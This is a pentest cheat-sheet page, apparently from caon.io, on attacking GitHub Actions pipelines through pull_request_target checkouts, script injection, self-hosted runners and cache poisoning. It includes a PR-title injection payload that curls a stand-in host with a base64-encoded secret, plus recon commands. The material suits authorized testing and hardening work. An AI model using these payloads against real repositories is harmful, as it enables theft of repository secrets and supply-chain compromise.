caon.io

CI/CD

The pipeline has more secrets than the app does, and its trigger is often a pull request from a stranger.

pull_request_target

The dangerous one. Runs with the base repo’s secrets and write token, but can be made to check out the fork’s code.

on: pull_request_target        # secrets available to a fork's PR
jobs:
  build:
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}   # attacker's code
      - run: npm install && npm run build                  # runs it

Open a PR that edits a build script or a postinstall hook and the workflow executes it with GITHUB_TOKEN and every repo secret in the environment.

# find it
grep -rn "pull_request_target" .github/workflows/
# then check whether the checkout uses head.sha / head.ref

Script injection

Any ${{ github.event.* }} interpolated into a run: block is a shell injection — the expansion happens before the shell sees it.

- run: echo "Title: ${{ github.event.issue.title }}"
PR title:  a"; curl https://oob.tld/?k=$(echo $MY_SECRET | base64); echo "

Attacker-controlled fields:

github.event.issue.title              github.event.issue.body
github.event.pull_request.title       github.event.pull_request.body
github.event.comment.body             github.event.review.body
github.event.pull_request.head.ref    github.event.pull_request.head.label
github.head_ref                       github.event.commits[*].message
github.event.discussion.title/body    github.event.pages[*].page_name

head_ref is a branch name — a fork can name a branch almost anything.

Self-hosted runners

Non-ephemeral runners keep state between jobs. Code execution on one is persistence across every repo that uses it, plus whatever cloud role it holds.

runs-on: self-hosted      # in a public repo, on a fork-triggered event

Other reachable surfaces

  • actions/cache poisoning — write a cache key an internal job later restores
  • Artifact upload paths with traversal
  • workflow_run reading artifacts from an untrusted pull_request run
  • Unpinned third-party actions (uses: some/action@master)
  • OIDC sub claim trust policies that are too loose on the AWS/GCP side

Recon

# https://github.com/praetorian-inc/gato-x
gato-x enumerate -t target-org

# https://github.com/synacktiv/octoscan
octoscan scan ./repo

# leaked secrets in the history
# https://github.com/trufflesecurity/trufflehog
trufflehog github --org=target-org --only-verified
# public workflow files
https://github.com/ORG/REPO/tree/main/.github/workflows
https://github.com/search?q=org%3ATARGET+pull_request_target&type=code

Proving it without wrecking the pipeline

Exfiltrate a canary, never the real secret. echo ${MY_SECRET:0:4} or a DNS callback with a hash is enough to prove exposure. Do not push commits, do not use GITHUB_TOKEN to write, and delete the PR after.

Articles

↑↓ navigate↵ openesc close